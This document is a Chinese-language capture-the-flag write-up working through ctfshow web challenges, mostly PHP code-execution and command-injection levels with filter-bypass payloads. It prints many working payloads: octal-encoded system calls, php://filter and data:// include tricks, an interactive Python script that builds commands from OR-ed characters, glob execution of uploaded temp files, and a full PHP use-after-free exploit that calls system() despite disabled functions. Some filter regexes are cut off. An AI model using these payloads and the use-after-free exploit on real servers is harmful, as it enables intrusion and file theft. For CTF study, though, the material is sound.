1-20题
提示:phps 源码泄露
url 加index.phps 下载文件
提示:解压源码到当前目录
直接想到了/www.zip
下载文件
解压出来fl00g.txt
打开fl000g.txt
没东西,浏览器访问fl000g.txt
提示:发现网页有个错别字?赶紧在生产环境vim改下,不好,死机了
如果我们使用vim 编辑一个文件正在编辑的时候突然电脑关机,会生成一个临时文件.swp
访问index.php.swp
提示:cookie
f12 打开控制台输入document.cookie
获取cookie
提示:域名
使用微步在线打开
flag{just_seesee}
提示:公开信息
下拉到最下面发现电话,很有可能会把电话当作密码
url路径加入admin
用户名:admin 密码:372619038
提示:editor
url: 路径/editor,有存在上传点
点击上传处进入文件空间可以直接访问目录
/var/www/html/nothinghere/fl000g.txt
直接访问/nothinghere/fl000g.txt
提示:邮箱泄露
在最下方找到邮箱
路径加入/admin 进入后台
提示:探针泄露
路径tz.php
点击phpinfo
phpinfo 找到flag
备份英文单词为backup
访问backup.sql
下载文件
查看js 发现 当score>100 的时候返回 unicode 编码
解码
提示:mdb文件是早期asp+access构架的数据库文件,文件泄露相当于数据库被脱裤了
输入路径:/db/db.mdb 下载文件
21-28题
点击开始攻击
访问http://flag.ctfer.com/index.php
得到flag{ctf_show_web}
error_reporting(0);
include('flag.php');
if(isset($_GET['token'])){ # get 传参token 不能为空
$token = md5($_GET['token']); # 传入的值为md5加密
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
# substr截断例如substr(hello,1,1)结果就是e substr(hello,1,2)结果就是el substr(hello,3,2)结果就是lo
# 条件加密后的token结果必须满足条件 第1位=第14位=第17位
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
# intval() # 函数用于取整
# 条件是 token 第1位+第14位+第17位÷第1位=第31位
echo $flag;
}
}
}else{
highlight_file(__FILE__);
}
?>
<php
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(372619038);
if(intval($r)===intval(mt_rand())){
echo $flag;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}
?>
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(hexdec(substr(md5($flag), 0,8))); # hexdec 将16进制转换为10进制
$rand = intval($r)-intval(mt_rand());
if((!$rand)){
if($_COOKIE['token']==(mt_rand()+mt_rand())){
echo $flag;
}
}else{
echo $rand;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}
?>
这里有个判断可以输出 rand变量
我们将 r=0 就可以得到 mt_rand() 的值
使用mt_rand() 种子破解器破解工具
https://github.com/Al1ex/php_mt_seed
进入目录make 编译 一下得到 php_mt_seed
./php_mt_seed 1999799409
得到 mt_srand = 1825113513
要拿flag 还要计算token 的值
3345704867
构造参数
r=1999799409
token=3345704867
使用web21的字典爆破密码为7758521
登录抓包得到flag
发现有个录取名单,还有个信息查询系统
要查询录取,但是得知道身份证中缺少的8位,这8位为生日
抓包爆破
这里burp 抓不到包,我们自己到浏览器登录一下复制请求头
看url 可疑尝试爆破url
爆破不需要加2.txt 当输入正确的路径时,会自动加载
29-124题
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){ # 正则匹配 有flag 赋值中没有有flag 就会返回$c 内容
eval($c);
}
}else{
highlight_file(__FILE__);
}
?>
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
c=(sy.(st).em)('cat fla?.ph?');
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
我们将字符串转换为8进制
?c="\163\171\163\164\145\155"("\154\163");
为
system('ls')
?c="\163\171\163\164\145\155"("\143\141\164\40\146\154\141\147\56\160\150\160");
为
system('cat flag.php')
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
使用include 方法 或者require
get:?c=include$_POST["url"]?>
post:url=php://filter/read=convert.base64-encode/resource=flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
get:?c=include$_POST[url]?>
post:url=php://filter/read=convert.base64-encode/resource=flag.php
和上一关相比,不能使用多了双引号,这个不影响,我们可以直接不加单双引号
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
多了:不影响
get:?c=include$_POST[url]?>
post:url=php://filter/read=convert.base64-encode/resource=flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
多了< = 依然不影响
get:?c=include$_POST[url]?>
post:url=php://filter/read=convert.base64-encode/resource=flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
多了 过滤数字,不影响
get:?c=include$_POST[url]?>
post:url=php://filter/read=convert.base64-encode/resource=flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
使用了include包含
使用 data://
方式
?c=data://test/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
和上面方法一样
使用 data://
方式
?c=data://test/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
?c=data:text/plain,
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
仔细看发现过滤的是中文的(没有过滤英文的
参考大佬博客
但是要读取flag 的时候出现了问题
原因是php 版本的问题 session_id规定为0-9,a-z,A-Z,中的字符
print_r() 函数用于打印变zhao量,以更容易理解的形式展示
localeconv():是一个编程语言函数,返回包含本地数字及货币信息格式的数组。其中数组中的第一个为点号(.)
pos():返回数组中的当前元素的值。
这里也可以换成current(),作用和pos类似
scandir():获取目录下的文件
scandir('.') 获取当前目录下的文件
通过 pos(localeconv())得到点号
获取当前目录文件
?c=print_r(scandir(pos(localeconv())));
或者
?c=print_r(scandir(current(localeconv())));
读取flag 取出数组中的值
show_source() 读文件
each() 返回数组中当前的键/值对并将数组指针向前移动一步
end() 将数组的内部指针指向最后一个单元
next() 将数组中的内部指针向前移动一位
prev() 将数组中的内部指针倒回一位
array_reverse() 以相反的元素顺序返回数组
因为flag.php 在倒数第二位所以使用next
?c=show_source(next(array_reverse(scandir(current(localeconv())))));
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
数字字母都过滤了,但是利用或运算进行构造
例如过滤了字母a ,但是没有过滤 32 和 65 ,a
的ascii 编码是97
通过或运算,得到a
32 | 65 = 97 = a
先疑惑排除过滤的,然后在判断异或得到的字符是否为可见字符
使用yu22x
脚本
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
import requests
import urllib
import re
from sys import *
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py ' )
print("eg: python exp.py http://ctf.show/")
print("exit: input exit in function")
print("="*50)
exit(0)
url=argv[1]
#生成可用的字符
def write_rce():
result = ''
preg = '[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-'
for i in range(256):
for j in range(256):
if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):
k = i | j
if k >= 32 and k <= 126:
a = '%' + hex(i)[2:].zfill(2)
b = '%' + hex(j)[2:].zfill(2)
result += (chr(k) + ' ' + a + ' ' + b + '\n')
f = open('rce.txt', 'w')
f.write(result)
#根据输入的命令在生成的txt中进行匹配
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
def main():
write_rce()
while True:
s1 = input("\n[+] your function:")
if s1 == "exit":
break
s2 = input("[+] your command:")
param=action(s1) + action(s2)
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)
main()
web42
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
/dev/null # 是一个空设备,一切写入的东西都会丢弃
2>&1 # 将错误输出绑定到标准输出上。因为错误输出绑定到空设备,所以标准输出也为空
# >/dev/null 2>&1 意思就是写入的内容会永远消失
当我们使用?c=ls 的时候,结果就是 ls > /dev/null 2>&1
ls 写入到空设备内容永远消失
但是我们只需要加上; ls; > /dev/null 2>&1
结果就是两条命令了
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了cat 和 ;
绕过cat : tac
绕过; 使用 | || && & ; %0a (换行符) %0d (回车符号)
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
多过滤了个flag
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
tac%09fla?.php%0a
tac%09fla?.php%0a
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?c=tac%09fla?.php%0a
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了%
号,之前的payload 不能使用了
?c=tac<>fla\g.php||
?c=tac
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\, $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了两个<
但是放了$
就可以使用 ${IFS}
?c=ta''c${IFS}fla''g.php||
假flag 似乎
ls${IFS}../../../||
发现flag 在这个目录下
?c=ta''c${IFS}../../../fla''g||
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\, $c)){
echo($c);
$d = system($c);
echo "
".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
和上一题方法一样但是这题不用结尾
?c=ta''c${IFS}fla''g.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\, $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
过滤掉了大部分关键字
方法一
:利用paste查看文件内容
?c=paste${IFS}fla?.php
方法二
:使用cat 因为cat 在/bin 目录 使用/bin/?at 让匹配
?c=/bin/?at${IFS}f???????
方法三
:使用grep 将带有show 字样的一行打印出来
?c=grep${IFS}show{${IFS}fla?.php
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\, $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
使用base64 方式 /bin/base64
?c=/???/????64 ????.???
/bin/base64 flag.php
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\, $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
即过滤了数字又过滤了字母
参考文章使用无字母数字方式上传shell
利用php的特性:上传文件post包,php会将上传的文件保存在临时的文件夹下 /tmp/phpxxxxxx
。文件名最后的6个字符是随机的大小写字母,最后一个字符大概率是大写字母
。
比如:我们上传了一个php文件,内容为ls
,就会保存到/tmp目录
文件名为phpgsawdZ
我们使用linux 的bash 命令,执行文件内容
. /tmp/phpgsawdZ
直接执行文件内容的语句
然后我们就可以使用,glob 通配符的方法
原本是
. /???/????????[A-Z]
但是过滤了字母所以使用
. /???/????????[@-[]
言归正传,我们先上传文件,直接使用脚本上传
这里写脚本要用循环,原因上面也说了,这里在提醒一下,文件上传后只有概率 最后一个字母是大写,所以使用循环试
# -- coding: utf-8 --
import requests
url = "http://d39f5c22-b131-4e92-8495-eb19e78f98f8.challenge.ctf.show/?c=. /???/????????[@-[]"
file = {
'file': ("1.txt","cat flag.php")
}
while True:
r = requests.post(url,files=file)
if "ctfshow" in r.text:
print(r.text)
break
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
把?- 一些东西过滤了并且提示flag 为 36.php,但是他已经写好system 和cat了,只需要构造 36
linux shell 命令 可以使用 $ (
构造数字
$(()) # 代表做一次运算,因为里面为空,也表示值为0
$((~$(()))) # 对0 取反 为-1
$(($((~$(())))$((~$(()))))) # (-1)+(-1)为-2
$((~$(($((~$(())))$((~$(()))))))) # 对-2 取反得到 1
$((~$(($((~$(())))$((~$(())))$((~$(()))))))) # 值为2
$(( ~$(( $((~$(()))) $((~$(()))) $((~$(()))) $((~$(()))) )) )) # 值为3
36 就是
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
写个脚本
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
post 传参,system 使用不了,直接使用show_source
读取文件
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
show_source() 无法使用了
使用highlight_file()
提示flag不在这
print_r() # 打印内容
scandir() # 返回指定目录中的文件
print_r(scandir('/'));
# 打印根目录文件
发现flag.txt
使用print_r出现告警,print_r() 被禁用
打开没有代码提示,highlight_file() 被警用
先查看flag 位置
使用include,require 都可以
使用var_dump() 发现被禁用
看代码可以发现,将所有的数字和字母都替换成了 ?号
在后面加个exit(); 直接进行退出
c=include("/flag.txt");exit();
使用刚刚的payload 提示没有flag.txt
做不出来,看了大佬博客,使用
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();
列出根目录下的文件,flag 文件是 flag0.txt
原本想使用上一题的payload,却发现include 函数被禁止使用
使用网上给的exp
c=function ctfshow($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
ctfshow("cat /flag0.txt");ob_end_flush();
使用上一题的payload,先列出根目录文件
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();
这次没有过滤 include,直接读取
c=include("/flagc.txt");exit();
flagx.txt
c=include('/flagx.txt');exit();
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);